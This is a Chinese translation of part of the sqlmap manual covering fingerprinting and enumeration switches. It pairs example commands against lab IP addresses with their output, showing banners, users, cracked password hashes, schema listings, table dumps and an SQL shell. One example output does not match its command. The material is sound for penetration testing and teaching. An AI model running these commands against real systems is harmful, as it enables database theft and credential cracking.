首页>文档>sqlmap>sqlmap指纹识别及参数调整

sqlmap指纹识别及参数调整

开关 -f或–fingerprint

默认情况下,sqlmap会自动指纹数据库。如果你想要执行更广泛的数据库指纹识别可以使用该参数,sqlmap会执行更多的请求,来确定更精确的DBMS版本以及操作系统,体系结构和补丁级别指纹。

3.9 列数据

3.9.1 列举全部信息

开关 –all

使用该开关,用户可检索访问的所有内容。

不推荐这样做,因为它会产生大量的请求来检索有用和无用的数据。

3.9.2列举数据库管理系统信息

开关 -b或–banner

大多数现代数据库管理系统都有一个函数或一个环境变量,它返回数据库管理系统版本,并最终返回其修补程序级别(即底层系统)的详细信息。通常该函数是version()和环境变量@@version,但是这取决于目标DBMS。

针对Oracle目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

输出:

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

3.9.3 当前用户

开关 –current-user

通过这个开关,可能检索出数据库管理系统的当前用户。

3.9.4 当前数据库

开关 –current-db

通过此开关,可以检索Web应用程序连接到的数据库管理系统的数据库名称。

3.9.5 服务器主机名

开关 –hostname

使用此开关可以列举数据库管理系统的主机名。

例如MySQL目标:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --hostname

部分结果

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

3.9.6 检测当前用户是否是管理员

开关 –is-dba

可以检测当前数据库管理系统会话用户是否是数据库管理员(也称为DBA)。如果是,sqlmap则返回True ,反之亦然False。

3.9.7 列出数据库管理用户

开关 –users

如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以枚举用户列表。

3.9.8 列举并破解数据库管理系统用户密码Hash值

开关 –passwords

如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以枚举每个用户的密码哈希值。sqlmap将首先枚举用户,然后针对每个用户使用不同的密码哈希。

下面是针对PostgreSQL目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

部分结果:

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

sqlmap不仅枚举了用户及其密码hash,而且还会识别hash格式,询问用户是否用字典文件破解出明文密码。这个功能已经在所有可以枚举用户密码的DBMS中实现。

你还可以使用开关-U来指定要破解哪个用户的密码hash,如果你指定的用户为CU,则会自动破解当前用户的密码。

例如:

python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -U CU

3.9.9 列出数据库管理系统用户权限

开关 –privileges

如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以枚举每个用户的权限。通过权限,sqlmap还会显示哪些是数据库管理员。

你还可以使用-U指定用户。如果你提供的用户名为cu,则默认为当前用户。

在Microsoft SQL Server上,此功能将向你显示是否每个用户都是数据库管理员,而不是所有用户的权限列表。

3.9.10 列出数据库管理系统用户角色

开关 –roles

如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出每个用户的角色。

你还可以使用-U指定用户。如果你提供的用户名为cu,则默认为当前用户。

此功能仅在DBMS为Oracle时可用。

3.9.11 列出所有的数据库

开关 –dbs

如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出所有的数据库。

3.9.12 枚举数据库的表

开关和参数 –tables,–exclude-sysdbs和-D

如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出特定数据库的所有表。

-D指定数据库,如果不提供参数-D来指定数据库,只使用--tables开关来列举数据库表,sqlmap将列出所有数据库的表。
例如:

python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D testdb --tables

你还可以使用开关--exclude-sysdbs来排除系统数据库。

请注意,在Oracle数据库上上,你必须提供TABLESPACE_NAME而不是数据库名称。

3.9.13 列出数据库表中字段

开关和选项 –columns,-C,-T和-D

如果当前用户有读取包含有关DBMS用户信息的系统表的权限时,可以列出特定数据库表的列和列对应的数据类型。

其中-T指定表,-D指定数据库,-C指定列。若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。

针对SQLite目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name

输出:

  Database: Firebird_masterdb
  Table: USERS
  [4 entries]
  +----+--------+------------+
  | ID | NAME   | SURNAME    |
  +----+--------+------------+
  | 1 | luther | blisset     |
  | 2 | fluffy | bunny       |
  | 3 | wu     | ming        |
  | 4 | NULL   | nameisnull  |
  +---+--------+-------------+

3.9.14 列举数据库管理系统模式

开关 –schema和–exclude-sysdbs

用户可以使用此开关获取数据库的架构,包含数据库、表和字段,以及各自的类型。

使用--exclude-sysdbs,将不会获取数据库自带的系统库内容。

针对MySQL目标的示例:

python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema--batch --exclude-sysdbs

输出:

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

3.9.15 获取表中数据个数

开关 –count

如果用户想要知道表中的数据个数,而不是数据内容,他可以使用这个开关。

针对Microsoft SQL Server目标的示例:

python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

3.9.16 获取整个表的数据

开关和选项 –dump,-C,-T,-D,–start,–stop,–first,–last,–pivot-column和–where

如果当前管理员有权限读取数据库的其中一个表的话,那么就能获取整个表的所有内容。

使用-T-D参数指定数据库和数据库表,如果不指定数据库的话,则默认使用当前数据库。

使用--dump-D可以获取数据库所有表的内容(不使用-C-T)

针对Firebird目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

结果:

[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

Sqlmap会自动将参数–dump列举的数据保存到CSV格式文件中,文件具体路径会在Sqlmap的输出中给出。

若只想列举部分数据可以使用参数–start–stop分别从某个条目开始输出存储,并在某个条目处停止。如只想列举第一条数据可以添加–stop 1
只想列举第二和第三条数据可以添加–start 1 –stop 3

你还可以使用--first--last限制输出的字符范围,例如如果你只想输出第三列到第五列的条目,那么你可以使用--first 3 --last 5。此功能只适用于盲注,因为对于报错注入和联合注入,列数量需要完全相同。

有时候(例如,对于Microsoft SQL Server,Sybase和SAP MaxDB),因为列数据类型不同,sqlmap不能直接利用OFFSET m,n对列进行输出。在这种情况下,sqlmap会输出最适合的pivot列,然后利用此列来检索其他的列,有时候当sqlmap选择的privot列不正确时,我们可以使用参数--pivot-column(例如–pivot-column=id)来指定pivot列。

除了使用上述参数来限制输出的列数(或者条目),还可以使用--where参数,后面接的合理语句将会被自动转换为where语句,例如--where id>3则 只会列举id>3的条目。

像你目前为止所了解到的那样,sqlmap非常的灵活。你可以自动输出全部的数据,也可以自定义需要输出的列数和条目。

3.9.17 获取所有数据库所有表的数据

开关 –dump-all和–exclude-sysdbs

使用参数–dump-all可列举所有数据库所有表中所有数据。可同时加上参数–exclude-sysdbs排除系统数据库。

注意,在Microsoft SQL Server上,master数据库不被视为系统数据库,因为某些数据库管理员将其当作用户数据库来使用。

3.9.18 搜索字段、表、数据库

开关和参数 –search, -C, -T, -D

这些开关和参数可以用来搜索特定的数据库名称,在所有数据库中搜索特定表,在数据表中搜索特定的列。

--search是用来查找的参数,需要和下面三个选项一起使用:

  • -C: 后面跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名
  • -T: 后面跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
  • -D: 后面跟着用逗号分割的数据库名,将会在所有数据库中搜索指定的库名

3.9.19 运行自定义的SQL语句

参数 –sql-query , –sql-shell

sqlmap允许运行任意的SQL语句,这些语句将会被自动的解析,来确定适合哪种注入技术。最后将其打包到payload中。

如果查询是一个SELECT语句,sqlmap将会返回它的输出,如果目标数据库支持多语句查询,sqlmap将会使用堆查询技术。但是有的数据库(比如MYSQL)不支持堆查询。

针对Microsoft SQL Server 2000目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

结果:

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

查询两列:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

结果:

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

正如你所看到的,sqlmap将查询分成两个不同的SELECT语句,然后检索每个单独查询的输出。

如果提供的查询是一个SELECT语句并包含一个FROM子句,sqlmap会询问你这样的语句是否可以返回多个条目。在这种情况下,工具知道如何正确地解开查询,计算条目的数量并输出。

--sql-shell参数会提供一个数据库的shell,还支持TAB补全和命令历史记录。

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索